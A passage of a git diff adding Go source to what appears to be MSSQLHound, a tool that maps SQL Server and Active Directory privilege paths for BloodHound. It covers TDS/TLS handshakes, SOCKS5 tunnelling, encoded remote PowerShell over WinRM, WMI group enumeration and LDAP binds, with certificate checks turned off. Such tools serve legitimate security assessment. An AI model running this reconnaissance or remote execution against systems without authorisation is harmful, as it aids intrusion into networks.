SPID + 0x00, // PacketID + 0x00, // Window + } + + if _, err := t.conn.Write(hdr[:]); err != nil { + return fmt.Errorf("TDS write header: %w", err) + } + if _, err := t.conn.Write(chunk); err != nil { + return fmt.Errorf("TDS write payload: %w", err) + } + + offset = end + } + return nil +} + +// readFullPacket reads all TDS packets until EOM, returning concatenated payload. +func (t *tdsConn) readFullPacket() (byte, []byte, error) { + var result []byte + var packetType byte + + for { + hdr := make([]byte, tdsHeaderSize) + if _, err := io.ReadFull(t.conn, hdr); err != nil { + return 0, nil, fmt.Errorf("TDS read header: %w", err) + } + + packetType = hdr[0] + status := hdr[1] + pktLen := int(binary.BigEndian.Uint16(hdr[2:4])) + + if pktLen < tdsHeaderSize { + return 0, nil, fmt.Errorf("TDS packet length %d too small", pktLen) + } + + payloadLen := pktLen - tdsHeaderSize + if payloadLen > 0 { + payload := make([]byte, payloadLen) + if _, err := io.ReadFull(t.conn, payload); err != nil { + return 0, nil, fmt.Errorf("TDS read payload: %w", err) + } + result = append(result, payload...) + } + + if status&0x01 != 0 { // EOM + break + } + } + + return packetType, result, nil +} + +// tlsOverTDSConn implements net.Conn to wrap TLS handshake traffic inside +// TDS PRELOGIN (0x12) packets. This is passed to tls.Client() during the +// TLS-over-TDS handshake phase. +type tlsOverTDSConn struct { + tds *tdsConn + readBuf bytes.Buffer +} + +func (c *tlsOverTDSConn) Read(b []byte) (int, error) { + // If we have buffered data from a previous TDS packet, return it first + if c.readBuf.Len() > 0 { + return c.readBuf.Read(b) + } + + // Read a TDS packet and buffer the payload (TLS record data) + _, payload, err := c.tds.readFullPacket() + if err != nil { + return 0, err + } + + c.readBuf.Write(payload) + return c.readBuf.Read(b) +} + +func (c *tlsOverTDSConn) Write(b []byte) (int, error) { + // Wrap TLS data in a TDS PRELOGIN packet + if err := c.tds.sendPacket(tdsPacketPrelogin, b); err != nil { + return 0, err + } + return len(b), nil +} + +func (c *tlsOverTDSConn) Close() error { return c.tds.conn.Close() } +func (c *tlsOverTDSConn) LocalAddr() net.Addr { return c.tds.conn.LocalAddr() } +func (c *tlsOverTDSConn) RemoteAddr() net.Addr { return c.tds.conn.RemoteAddr() } +func (c *tlsOverTDSConn) SetDeadline(t time.Time) error { return c.tds.conn.SetDeadline(t) } +func (c *tlsOverTDSConn) SetReadDeadline(t time.Time) error { return c.tds.conn.SetReadDeadline(t) } +func (c *tlsOverTDSConn) SetWriteDeadline(t time.Time) error { return c.tds.conn.SetWriteDeadline(t) } + +// switchableConn allows swapping the underlying connection after TLS handshake. +// During handshake, it delegates to tlsOverTDSConn. After handshake, it delegates +// to the raw TCP connection for ENCRYPT_OFF or stays on TLS for ENCRYPT_REQ. +type switchableConn struct { + c net.Conn +} + +func (s *switchableConn) Read(b []byte) (int, error) { return s.c.Read(b) } +func (s *switchableConn) Write(b []byte) (int, error) { return s.c.Write(b) } +func (s *switchableConn) Close() error { return s.c.Close() } +func (s *switchableConn) LocalAddr() net.Addr { return s.c.LocalAddr() } +func (s *switchableConn) RemoteAddr() net.Addr { return s.c.RemoteAddr() } +func (s *switchableConn) SetDeadline(t time.Time) error { return s.c.SetDeadline(t) } +func (s *switchableConn) SetReadDeadline(t time.Time) error { return s.c.SetReadDeadline(t) } +func (s *switchableConn) SetWriteDeadline(t time.Time) error { return s.c.SetWriteDeadline(t) } + +// performTLSHandshake establishes TLS over TDS and returns the tls.Conn. +// The switchable conn allows the caller to swap back to raw TCP after handshake +// (needed for ENCRYPT_OFF where TLS is only used during LOGIN7). +func performTLSHandshake(tds *tdsConn, serverName string) (*tls.Conn, *switchableConn, error) { + handshakeAdapter := &tlsOverTDSConn{tds: tds} + sw := &switchableConn{c: handshakeAdapter} + + tlsConfig := &tls.Config{ + ServerName: serverName, + InsecureSkipVerify: true, //nolint:gosec // EPA testing requires connecting to any server + // Disable dynamic record sizing for TDS compatibility + DynamicRecordSizingDisabled: true, + // Cap at TLS 1.2 so that TLSUnique (tls-unique channel binding) is + // available for EPA. TLS 1.3 removed tls-unique (RFC 8446) and SQL + // Server's SChannel does not accept tls-server-end-point for EPA. + MaxVersion: tls.VersionTLS12, + } + + tlsConn := tls.Client(sw, tlsConfig) + if err := tlsConn.Handshake(); err != nil { + return nil, nil, fmt.Errorf("TLS handshake failed: %w", err) + } + + // After handshake, switch underlying connection to raw TCP. + // TLS records now go directly on the wire (no TDS wrapping). + sw.c = tds.conn + + return tlsConn, sw, nil +} + +// performDirectTLSHandshake establishes TLS directly on the TCP connection +// for TDS 8.0 strict encryption mode. Unlike performTLSHandshake which wraps +// TLS records inside TDS PRELOGIN packets, this does a standard TLS handshake +// on the raw socket (like HTTPS). All subsequent TDS messages are sent through +// the TLS connection. +func performDirectTLSHandshake(conn net.Conn, serverName string) (*tls.Conn, error) { + tlsConfig := &tls.Config{ + ServerName: serverName, + InsecureSkipVerify: true, //nolint:gosec // EPA testing requires connecting to any server + // Disable dynamic record sizing for TDS compatibility + DynamicRecordSizingDisabled: true, + // Cap at TLS 1.2 so that TLSUnique (tls-unique channel binding) is + // available for EPA. TLS 1.3 removed tls-unique (RFC 8446) and SQL + // Server's SChannel does not accept tls-server-end-point for EPA. + MaxVersion: tls.VersionTLS12, + } + + tlsConn := tls.Client(conn, tlsConfig) + if err := tlsConn.Handshake(); err != nil { + return nil, fmt.Errorf("TLS handshake failed: %w", err) + } + + return tlsConn, nil +} diff --git a/go/internal/proxydialer/proxydialer.go b/go/internal/proxydialer/proxydialer.go new file mode 100644 index 0000000..f334662 --- /dev/null +++ b/go/internal/proxydialer/proxydialer.go @@ -0,0 +1,66 @@ +// Package proxydialer provides SOCKS5 proxy dialer creation for tunneling +// network traffic through a proxy. +package proxydialer + +import ( + "context" + "fmt" + "net" + "net/url" + "strings" + + "golang.org/x/net/proxy" +) + +// ContextDialer dials with context support. Compatible with go-mssqldb's Dialer interface. +type ContextDialer interface { + DialContext(ctx context.Context, network, address string) (net.Conn, error) +} + +// New creates a SOCKS5 proxy dialer from a proxy address string. +// Supported formats: +// - host:port (plain SOCKS5, no auth) +// - socks5://host:port +// - socks5://user:pass@host:port +// +// Returns nil, nil if proxyAddr is empty. +func New(proxyAddr string) (ContextDialer, error) { + if proxyAddr == "" { + return nil, nil + } + + var d proxy.Dialer + var err error + + if strings.Contains(proxyAddr, "://") { + u, parseErr := url.Parse(proxyAddr) + if parseErr != nil { + return nil, fmt.Errorf("invalid proxy URL %q: %w", proxyAddr, parseErr) + } + if u.Scheme != "socks5" && u.Scheme != "socks5h" { + return nil, fmt.Errorf("unsupported proxy scheme %q (only socks5 and socks5h are supported)", u.Scheme) + } + var auth *proxy.Auth + if u.User != nil { + pass, _ := u.User.Password() + auth = &proxy.Auth{ + User: u.User.Username(), + Password: pass, + } + } + d, err = proxy.SOCKS5("tcp", u.Host, auth, proxy.Direct) + } else { + d, err = proxy.SOCKS5("tcp", proxyAddr, nil, proxy.Direct) + } + if err != nil { + return nil, fmt.Errorf("failed to create SOCKS5 dialer for %q: %w", proxyAddr, err) + } + + // The underlying socks.Dialer implements DialContext + cd, ok := d.(proxy.ContextDialer) + if !ok { + return nil, fmt.Errorf("SOCKS5 dialer does not implement ContextDialer") + } + + return cd, nil +} diff --git a/go/internal/types/types.go b/go/internal/types/types.go new file mode 100644 index 0000000..12eab1d --- /dev/null +++ b/go/internal/types/types.go @@ -0,0 +1,239 @@ +// Package types defines the core data structures used throughout MSSQLHound. +// These types mirror the data structures from the PowerShell version and are +// used for SQL Server collection, BloodHound output, and Active Directory integration. +package types + +import ( + "time" +) + +// ServerInfo represents a SQL Server instance and all collected data +type ServerInfo struct { + ObjectIdentifier string `json:"objectIdentifier"` + Hostname string `json:"hostname"` + ServerName string `json:"serverName"` + SQLServerName string `json:"sqlServerName"` // Display name for BloodHound + InstanceName string `json:"instanceName"` + Port int `json:"port"` + Version string `json:"version"` + VersionNumber string `json:"versionNumber"` + ProductLevel string `json:"productLevel"` + Edition string `json:"edition"` + IsClustered bool `json:"isClustered"` + IsMixedModeAuth bool `json:"isMixedModeAuth"` + ForceEncryption string `json:"forceEncryption,omitempty"` + StrictEncryption string `json:"strictEncryption,omitempty"` + ExtendedProtection string `json:"extendedProtection,omitempty"` + ComputerSID string `json:"computerSID"` + DomainSID string `json:"domainSID"` + FQDN string `json:"fqdn"` + SPNs []string `json:"spns,omitempty"` + ServiceAccounts []ServiceAccount `json:"serviceAccounts,omitempty"` + Credentials []Credential `json:"credentials,omitempty"` + ProxyAccounts []ProxyAccount `json:"proxyAccounts,omitempty"` + ServerPrincipals []ServerPrincipal `json:"serverPrincipals,omitempty"` + Databases []Database `json:"databases,omitempty"` + LinkedServers []LinkedServer `json:"linkedServers,omitempty"` + LocalGroupsWithLogins map[string]*LocalGroupInfo `json:"localGroupsWithLogins,omitempty"` // keyed by principal ObjectIdentifier +} + +// LocalGroupInfo holds information about a local Windows group and its domain members +type LocalGroupInfo struct { + Principal *ServerPrincipal `json:"principal"` + Members []LocalGroupMember `json:"members,omitempty"` +} + +// LocalGroupMember represents a domain member of a local Windows group +type LocalGroupMember struct { + Domain string `json:"domain"` + Name string `json:"name"` + SID string `json:"sid,omitempty"` +} + +// ServiceAccount represents a SQL Server service account +type ServiceAccount struct { + ObjectIdentifier string `json:"objectIdentifier"` + Name string `json:"name"` + ServiceName string `json:"serviceName"` + ServiceType string `json:"serviceType"` + StartupType string `json:"startupType"` + SID string `json:"sid,omitempty"` + ConvertedFromBuiltIn bool `json:"convertedFromBuiltIn,omitempty"` // True if converted from LocalSystem, NT AUTHORITY\*, etc. + ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation +} + +// ServerPrincipal represents a server-level principal (login or server role) +type ServerPrincipal struct { + ObjectIdentifier string `json:"objectIdentifier"` + PrincipalID int `json:"principalId"` + Name string `json:"name"` + TypeDescription string `json:"typeDescription"` + IsDisabled bool `json:"isDisabled"` + IsFixedRole bool `json:"isFixedRole"` + CreateDate time.Time `json:"createDate"` + ModifyDate time.Time `json:"modifyDate"` + DefaultDatabaseName string `json:"defaultDatabaseName,omitempty"` + SecurityIdentifier string `json:"securityIdentifier,omitempty"` + IsActiveDirectoryPrincipal bool `json:"isActiveDirectoryPrincipal"` + SQLServerName string `json:"sqlServerName"` + OwningPrincipalID int `json:"owningPrincipalId,omitempty"` + OwningObjectIdentifier string `json:"owningObjectIdentifier,omitempty"` + MemberOf []RoleMembership `json:"memberOf,omitempty"` + Members []string `json:"members,omitempty"` + Permissions []Permission `json:"permissions,omitempty"` + DatabaseUsers []string `json:"databaseUsers,omitempty"` + MappedCredential *Credential `json:"mappedCredential,omitempty"` // Credential mapped via ALTER LOGIN ... WITH CREDENTIAL +} + +// RoleMembership represents membership in a role +type RoleMembership struct { + ObjectIdentifier string `json:"objectIdentifier"` + Name string `json:"name,omitempty"` + PrincipalID int `json:"principalId,omitempty"` +} + +// Permission represents a granted or denied permission +type Permission struct { + Permission string `json:"permission"` + State string `json:"state"` // GRANT, GRANT_WITH_GRANT_OPTION, DENY + ClassDesc string `json:"classDesc"` + TargetPrincipalID int `json:"targetPrincipalId,omitempty"` + TargetObjectIdentifier string `json:"targetObjectIdentifier,omitempty"` + TargetName string `json:"targetName,omitempty"` +} + +// Database represents a SQL Server database +type Database struct { + ObjectIdentifier string `json:"objectIdentifier"` + DatabaseID int `json:"databaseId"` + Name string `json:"name"` + OwnerPrincipalID int `json:"ownerPrincipalId,omitempty"` + OwnerLoginName string `json:"ownerLoginName,omitempty"` + OwnerObjectIdentifier string `json:"ownerObjectIdentifier,omitempty"` + CreateDate time.Time `json:"createDate"` + CompatibilityLevel int `json:"compatibilityLevel"` + CollationName string `json:"collationName,omitempty"` + IsReadOnly bool `json:"isReadOnly"` + IsTrustworthy bool `json:"isTrustworthy"` + IsEncrypted bool `json:"isEncrypted"` + SQLServerName string `json:"sqlServerName"` + DatabasePrincipals []DatabasePrincipal `json:"databasePrincipals,omitempty"` + DBScopedCredentials []DBScopedCredential `json:"dbScopedCredentials,omitempty"` +} + +// DatabasePrincipal represents a database-level principal +type DatabasePrincipal struct { + ObjectIdentifier string `json:"objectIdentifier"` + PrincipalID int `json:"principalId"` + Name string `json:"name"` + TypeDescription string `json:"typeDescription"` + CreateDate time.Time `json:"createDate"` + ModifyDate time.Time `json:"modifyDate"` + IsFixedRole bool `json:"isFixedRole"` + OwningPrincipalID int `json:"owningPrincipalId,omitempty"` + OwningObjectIdentifier string `json:"owningObjectIdentifier,omitempty"` + DefaultSchemaName string `json:"defaultSchemaName,omitempty"` + DatabaseName string `json:"databaseName"` + SQLServerName string `json:"sqlServerName"` + ServerLogin *ServerLoginRef `json:"serverLogin,omitempty"` + MemberOf []RoleMembership `json:"memberOf,omitempty"` + Members []string `json:"members,omitempty"` + Permissions []Permission `json:"permissions,omitempty"` +} + +// ServerLoginRef is a reference to a server login from a database user +type ServerLoginRef struct { + ObjectIdentifier string `json:"objectIdentifier"` + Name string `json:"name"` + PrincipalID int `json:"principalId"` +} + +// DBScopedCredential represents a database-scoped credential +type DBScopedCredential struct { + CredentialID int `json:"credentialId"` + Name string `json:"name"` + CredentialIdentity string `json:"credentialIdentity"` + CreateDate time.Time `json:"createDate"` + ModifyDate time.Time `json:"modifyDate"` + ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity + ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation +} + +// LinkedServer represents a linked server configuration +type LinkedServer struct { + ServerID int `json:"serverId"` + Name string `json:"name"` + Product string `json:"product"` + Provider string `json:"provider"` + DataSource string `json:"dataSource"` + Catalog string `json:"catalog,omitempty"` + IsLinkedServer bool `json:"isLinkedServer"` + IsRemoteLoginEnabled bool `json:"isRemoteLoginEnabled"` + IsRPCOutEnabled bool `json:"isRpcOutEnabled"` + IsDataAccessEnabled bool `json:"isDataAccessEnabled"` + LocalLogin string `json:"localLogin,omitempty"` + RemoteLogin string `json:"remoteLogin,omitempty"` + IsSelfMapping bool `json:"isSelfMapping"` + ResolvedObjectIdentifier string `json:"resolvedObjectIdentifier,omitempty"` // Target server ObjectIdentifier + RemoteIsSysadmin bool `json:"remoteIsSysadmin,omitempty"` + RemoteIsSecurityAdmin bool `json:"remoteIsSecurityAdmin,omitempty"` + RemoteHasControlServer bool `json:"remoteHasControlServer,omitempty"` + RemoteHasImpersonateAnyLogin bool `json:"remoteHasImpersonateAnyLogin,omitempty"` + RemoteIsMixedMode bool `json:"remoteIsMixedMode,omitempty"` + UsesImpersonation bool `json:"usesImpersonation,omitempty"` + SourceServer string `json:"sourceServer,omitempty"` // Hostname of the server this linked server was discovered from + Path string `json:"path,omitempty"` // Chain path for nested linked servers + RemoteCurrentLogin string `json:"remoteCurrentLogin,omitempty"` // Login used on the remote server +} + +// ProxyAccount represents a SQL Agent proxy account +type ProxyAccount struct { + ProxyID int `json:"proxyId"` + Name string `json:"name"` + CredentialID int `json:"credentialId"` + CredentialName string `json:"credentialName,omitempty"` + CredentialIdentity string `json:"credentialIdentity"` + Enabled bool `json:"enabled"` + Description string `json:"description,omitempty"` + Subsystems []string `json:"subsystems,omitempty"` + Logins []string `json:"logins,omitempty"` + ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity + ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation +} + +// Credential represents a server-level credential +type Credential struct { + CredentialID int `json:"credentialId"` + Name string `json:"name"` + CredentialIdentity string `json:"credentialIdentity"` + CreateDate time.Time `json:"createDate"` + ModifyDate time.Time `json:"modifyDate"` + ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity + ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation +} + +// DomainPrincipal represents a resolved Active Directory principal +type DomainPrincipal struct { + ObjectIdentifier string `json:"objectIdentifier"` + SID string `json:"sid"` + Name string `json:"name"` + SAMAccountName string `json:"samAccountName,omitempty"` + DistinguishedName string `json:"distinguishedName,omitempty"` + UserPrincipalName string `json:"userPrincipalName,omitempty"` + DNSHostName string `json:"dnsHostName,omitempty"` + Domain string `json:"domain"` + ObjectClass string `json:"objectClass"` // user, group, computer + Enabled bool `json:"enabled"` + MemberOf []string `json:"memberOf,omitempty"` +} + +// SPN represents a Service Principal Name +type SPN struct { + ServiceClass string `json:"serviceClass"` + Hostname string `json:"hostname"` + Port string `json:"port,omitempty"` + InstanceName string `json:"instanceName,omitempty"` + FullSPN string `json:"fullSpn"` + AccountName string `json:"accountName"` + AccountSID string `json:"accountSid"` +} diff --git a/go/internal/winrmclient/winrmclient.go b/go/internal/winrmclient/winrmclient.go new file mode 100644 index 0000000..14f809f --- /dev/null +++ b/go/internal/winrmclient/winrmclient.go @@ -0,0 +1,101 @@ +// Package winrmclient provides a thin WinRM wrapper for executing PowerShell +// commands on remote Windows hosts via WinRM (PowerShell Remoting). +package winrmclient + +import ( + "bytes" + "context" + "encoding/base64" + "fmt" + "time" + "unicode/utf16" + + "github.com/masterzen/winrm" +) + +// Executor is the interface consumed by epamatrix for executing remote PowerShell. +type Executor interface { + RunPowerShell(ctx context.Context, script string) (stdout, stderr string, err error) +} + +// Config holds WinRM connection parameters. +type Config struct { + Host string + Port int + Username string // DOMAIN\user or user@domain + Password string + UseHTTPS bool + UseBasic bool // Use Basic auth instead of NTLM + Timeout time.Duration +} + +// Client wraps a WinRM connection to a remote Windows host. +type Client struct { + client *winrm.Client +} + +// New creates a WinRM client. The connection is established lazily on first command. +func New(cfg Config) (*Client, error) { + port := cfg.Port + if port == 0 { + if cfg.UseHTTPS { + port = 5986 + } else { + port = 5985 + } + } + + timeout := cfg.Timeout + if timeout == 0 { + timeout = 90 * time.Second + } + + endpoint := winrm.NewEndpoint(cfg.Host, port, cfg.UseHTTPS, true, nil, nil, nil, timeout) + + var wc *winrm.Client + var err error + + if cfg.UseBasic { + wc, err = winrm.NewClient(endpoint, cfg.Username, cfg.Password) + } else { + params := winrm.DefaultParameters + params.TransportDecorator = func() winrm.Transporter { + return &winrm.ClientNTLM{} + } + wc, err = winrm.NewClientWithParameters(endpoint, cfg.Username, cfg.Password, params) + } + if err != nil { + return nil, fmt.Errorf("create WinRM client: %w", err) + } + + return &Client{client: wc}, nil +} + +// RunPowerShell executes a PowerShell script on the remote host. +// Returns stdout, stderr, and any error (including non-zero exit codes). +func (c *Client) RunPowerShell(ctx context.Context, script string) (string, string, error) { + encoded := encodePowerShellCommand(script) + cmd := fmt.Sprintf("powershell.exe -NoProfile -NonInteractive -EncodedCommand %s", encoded) + + var stdout, stderr bytes.Buffer + exitCode, err := c.client.RunWithContext(ctx, cmd, &stdout, &stderr) + if err != nil { + return stdout.String(), stderr.String(), fmt.Errorf("WinRM command failed: %w", err) + } + if exitCode != 0 { + return stdout.String(), stderr.String(), fmt.Errorf("PowerShell exited with code %d: %s", exitCode, stderr.String()) + } + return stdout.String(), stderr.String(), nil +} + +// encodePowerShellCommand encodes a script as base64 UTF-16LE for -EncodedCommand. +func encodePowerShellCommand(script string) string { + // Convert to UTF-16LE + runes := utf16.Encode([]rune(script)) + b := make([]byte, len(runes)*2) + for i, r := range runes { + b[i*2] = byte(r) + b[i*2+1] = byte(r >> 8) + } + return base64.StdEncoding.EncodeToString(b) +} diff --git a/go/internal/wmi/wmi_stub.go b/go/internal/wmi/wmi_stub.go new file mode 100644 index 0000000..5bf2669 --- /dev/null +++ b/go/internal/wmi/wmi_stub.go @@ -0,0 +1,22 @@ +//go:build !windows + +// Package wmi provides WMI-based enumeration of local group members. +// This is a stub for non-Windows platforms. +package wmi + +// GroupMember represents a member of a local group +type GroupMember struct { + Domain string + Name string + SID string +} + +// GetLocalGroupMembers is not available on non-Windows platforms +func GetLocalGroupMembers(computerName, groupName string, verbose bool) ([]GroupMember, error) { + return nil, nil +} + +// GetLocalGroupMembersWithFallback is not available on non-Windows platforms +func GetLocalGroupMembersWithFallback(computerName, groupName string, verbose bool) []GroupMember { + return nil +} diff --git a/go/internal/wmi/wmi_windows.go b/go/internal/wmi/wmi_windows.go new file mode 100644 index 0000000..00005f2 --- /dev/null +++ b/go/internal/wmi/wmi_windows.go @@ -0,0 +1,155 @@ +//go:build windows + +// Package wmi provides WMI-based enumeration of local group members on Windows. +package wmi + +import ( + "fmt" + "regexp" + "strings" + + "github.com/go-ole/go-ole" + "github.com/go-ole/go-ole/oleutil" +) + +// GroupMember represents a member of a local group +type GroupMember struct { + Domain string + Name string + SID string +} + +// GetLocalGroupMembers enumerates members of a local group on a remote computer using WMI +func GetLocalGroupMembers(computerName, groupName string, verbose bool) ([]GroupMember, error) { + var members []GroupMember + + // Always show which group we're enumerating + fmt.Printf("Enumerating members of local group: %s\n", groupName) + + // Initialize COM + if err := ole.CoInitializeEx(0, ole.COINIT_MULTITHREADED); err != nil { + // Check if already initialized (error code 1 means S_FALSE - already initialized) + oleErr, ok := err.(*ole.OleError) + if !ok || oleErr.Code() != 1 { + return nil, fmt.Errorf("COM initialization failed: %w", err) + } + } + defer ole.CoUninitialize() + + // Create WMI locator + unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator") + if err != nil { + return nil, fmt.Errorf("failed to create WMI locator: %w", err) + } + defer unknown.Release() + + wmi, err := unknown.QueryInterface(ole.IID_IDispatch) + if err != nil { + return nil, fmt.Errorf("failed to query WMI interface: %w", err) + } + defer wmi.Release() + + // Connect to remote WMI + // Format: \\computername\root\cimv2 + wmiPath := fmt.Sprintf("\\\\%s\\root\\cimv2", computerName) + serviceRaw, err := oleutil.CallMethod(wmi, "ConnectServer", wmiPath) + if err != nil { + return nil, fmt.Errorf("failed to connect to WMI on %s: %w", computerName, err) + } + service := serviceRaw.ToIDispatch() + defer service.Release() + + // Query for group members + // WMI query: SELECT * FROM Win32_GroupUser WHERE GroupComponent="Win32_Group.Domain='COMPUTERNAME',Name='GROUPNAME'" + query := fmt.Sprintf(`SELECT * FROM Win32_GroupUser WHERE GroupComponent="Win32_Group.Domain='%s',Name='%s'"`, + computerName, groupName) + + resultRaw, err := oleutil.CallMethod(service, "ExecQuery", query) + if err != nil { + return nil, fmt.Errorf("WMI query failed: %w", err) + } + result := resultRaw.ToIDispatch() + defer result.Release() + + // Get count + countVar, err := oleutil.GetProperty(result, "Count") + if err != nil { + return nil, fmt.Errorf("failed to get result count: %w", err) + } + count := int(countVar.Val) + + if verbose { + fmt.Printf("Found %d members in %s\n", count, groupName) + } + + // Pattern to parse PartComponent + // Example: \\\\COMPUTER\\root\\cimv2:Win32_UserAccount.Domain="DOMAIN",Name="USER" + partPattern := regexp.MustCompile(`Domain="([^"]+)",Name="([^"]+)"`) + + // Iterate through results + for i := 0; i < count; i++ { + itemRaw, err := oleutil.CallMethod(result, "ItemIndex", i) + if err != nil { + continue + } + item := itemRaw.ToIDispatch() + + // Get PartComponent (the member) + partComponentVar, err := oleutil.GetProperty(item, "PartComponent") + if err != nil { + item.Release() + continue + } + partComponent := partComponentVar.ToString() + + // Parse the PartComponent to extract domain and name + matches := partPattern.FindStringSubmatch(partComponent) + if len(matches) >= 3 { + memberDomain := matches[1] + memberName := matches[2] + + // Skip local accounts and well-known local accounts + upperDomain := strings.ToUpper(memberDomain) + upperComputer := strings.ToUpper(computerName) + + if upperDomain != upperComputer && + upperDomain != "NT AUTHORITY" && + upperDomain != "NT SERVICE" { + + if verbose { + fmt.Printf("Found domain member: %s\\%s\n", memberDomain, memberName) + } + + members = append(members, GroupMember{ + Domain: memberDomain, + Name: memberName, + }) + } + } + + item.Release() + } + + // Always show the result + if len(members) > 0 { + fmt.Printf("Found %d domain members in %s\n", len(members), groupName) + } else { + fmt.Printf("No domain members found in %s\n", groupName) + } + + return members, nil +} + +// GetLocalGroupMembersWithFallback tries WMI enumeration and returns an empty slice on failure +func GetLocalGroupMembersWithFallback(computerName, groupName string, verbose bool) []GroupMember { + members, err := GetLocalGroupMembers(computerName, groupName, verbose) + if err != nil { + if verbose { + fmt.Printf("WARNING: WMI enumeration failed for %s\\%s: %v\n", computerName, groupName, err) + } else { + fmt.Printf("WARNING: WMI enumeration failed for %s\\%s. This may require remote WMI access permissions.\n", computerName, groupName) + } + return nil + } + return members +} diff --git a/go/mssqlhound.exe b/go/mssqlhound.exe new file mode 100644 index 0000000..83544e3 Binary files /dev/null and b/go/mssqlhound.exe differ diff --git a/internal/ad/client.go b/internal/ad/client.go new file mode 100644 index 0000000..3d88b56 --- /dev/null +++ b/internal/ad/client.go @@ -0,0 +1,1003 @@ +// Package ad provides Active Directory integration for SPN enumeration and SID resolution. +package ad + +import ( + "context" + "crypto/tls" + "fmt" + "net" + "strings" + "time" + + "github.com/go-ldap/ldap/v3" + + "github.com/SpecterOps/MSSQLHound/internal/types" +) + +// Client handles Active Directory operations via LDAP +type Client struct { + conn *ldap.Conn + domain string + domainController string + baseDN string + skipPrivateCheck bool + ldapUser string + ldapPassword string + dnsResolver string // Custom DNS resolver IP + resolver *net.Resolver + + // Caches + sidCache map[string]*types.DomainPrincipal + domainCache map[string]bool +} + +// NewClient creates a new AD client +func NewClient(domain, domainController string, skipPrivateCheck bool, ldapUser, ldapPassword, dnsResolver string) *Client { + client := &Client{ + domain: domain, + domainController: domainController, + skipPrivateCheck: skipPrivateCheck, + ldapUser: ldapUser, + ldapPassword: ldapPassword, + dnsResolver: dnsResolver, + sidCache: make(map[string]*types.DomainPrincipal), + domainCache: make(map[string]bool), + } + + // Create custom resolver if DNS resolver is specified + if dnsResolver != "" { + client.resolver = &net.Resolver{ + PreferGo: true, + Dial: func(ctx context.Context, network, address string) (net.Conn, error) { + d := net.Dialer{ + Timeout: time.Millisecond * time.Duration(10000), + } + return d.DialContext(ctx, network, net.JoinHostPort(dnsResolver, "53")) + }, + } + } else { + // Use default resolver + client.resolver = net.DefaultResolver + } + + return client +} + +// Connect establishes a connection to the domain controller +func (c *Client) Connect() error { + dc := c.domainController + if dc == "" { + // Try to resolve domain controller + var err error + dc, err = c.resolveDomainController() + if err != nil { + return fmt.Errorf("failed to resolve domain controller: %w", err) + } + } + + // Build server name for TLS (used throughout) + serverName := dc + if !strings.Contains(serverName, ".") && c.domain != "" { + serverName = fmt.Sprintf("%s.%s", dc, c.domain) + } + + // If explicit credentials provided, try multiple auth methods with TLS + if c.ldapUser != "" && c.ldapPassword != "" { + return c.connectWithExplicitCredentials(dc, serverName) + } + + // No explicit credentials - try GSSAPI with current user context + return c.connectWithCurrentUser(dc, serverName) +} + +// ldapDialTimeout is the TCP dial timeout for LDAP connections. +const ldapDialTimeout = 10 * time.Second + +// dialLDAPS connects to LDAPS (port 636) with a timeout. +func dialLDAPS(dc, serverName string) (*ldap.Conn, error) { + return ldap.DialURL(fmt.Sprintf("ldaps://%s:636", dc), + ldap.DialWithDialer(&net.Dialer{Timeout: ldapDialTimeout}), + ldap.DialWithTLSConfig(&tls.Config{ + ServerName: serverName, + InsecureSkipVerify: true, + })) +} + +// dialLDAP connects to LDAP (port 389) with a timeout. +func dialLDAP(dc string) (*ldap.Conn, error) { + return ldap.DialURL(fmt.Sprintf("ldap://%s:389", dc), + ldap.DialWithDialer(&net.Dialer{Timeout: ldapDialTimeout})) +} + +// connectWithExplicitCredentials tries multiple authentication methods with explicit credentials +func (c *Client) connectWithExplicitCredentials(dc, serverName string) error { + var errors []string + + // Try LDAPS first (port 636) - most secure + fmt.Printf(" Trying LDAPS on %s:636...\n", dc) + conn, err := dialLDAPS(dc, serverName) + if err == nil { + conn.SetTimeout(30 * time.Second) + + // Try NTLM first (most reliable with explicit creds) + fmt.Printf(" Trying NTLM bind over LDAPS...\n") + if bindErr := c.ntlmBind(conn); bindErr == nil { + fmt.Println(" Connected via LDAPS + NTLM") + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAPS:636 NTLM: %v", bindErr)) + } + + // Try Simple Bind (works well over TLS) + fmt.Printf(" Trying Simple bind over LDAPS...\n") + if bindErr := c.simpleBind(conn); bindErr == nil { + fmt.Println(" Connected via LDAPS + SimpleBind") + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAPS:636 SimpleBind: %v", bindErr)) + } + + // Try GSSAPI + fmt.Printf(" Trying GSSAPI bind over LDAPS...\n") + if bindErr := c.gssapiBind(conn, dc); bindErr == nil { + fmt.Println(" Connected via LDAPS + GSSAPI") + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAPS:636 GSSAPI: %v", bindErr)) + } + conn.Close() + } else { + errors = append(errors, fmt.Sprintf("LDAPS:636 connect: %v", err)) + fmt.Printf(" LDAPS:636 connection failed: %v\n", err) + } + + // Try StartTLS on port 389 + fmt.Printf(" Trying LDAP on %s:389 with StartTLS...\n", dc) + conn, err = dialLDAP(dc) + if err == nil { + conn.SetTimeout(30 * time.Second) + tlsErr := c.startTLS(conn, dc) + if tlsErr == nil { + // Try NTLM + fmt.Printf(" Trying NTLM bind over StartTLS...\n") + if bindErr := c.ntlmBind(conn); bindErr == nil { + fmt.Println(" Connected via LDAP+StartTLS + NTLM") + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS NTLM: %v", bindErr)) + } + + // Try Simple Bind + fmt.Printf(" Trying Simple bind over StartTLS...\n") + if bindErr := c.simpleBind(conn); bindErr == nil { + fmt.Println(" Connected via LDAP+StartTLS + SimpleBind") + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS SimpleBind: 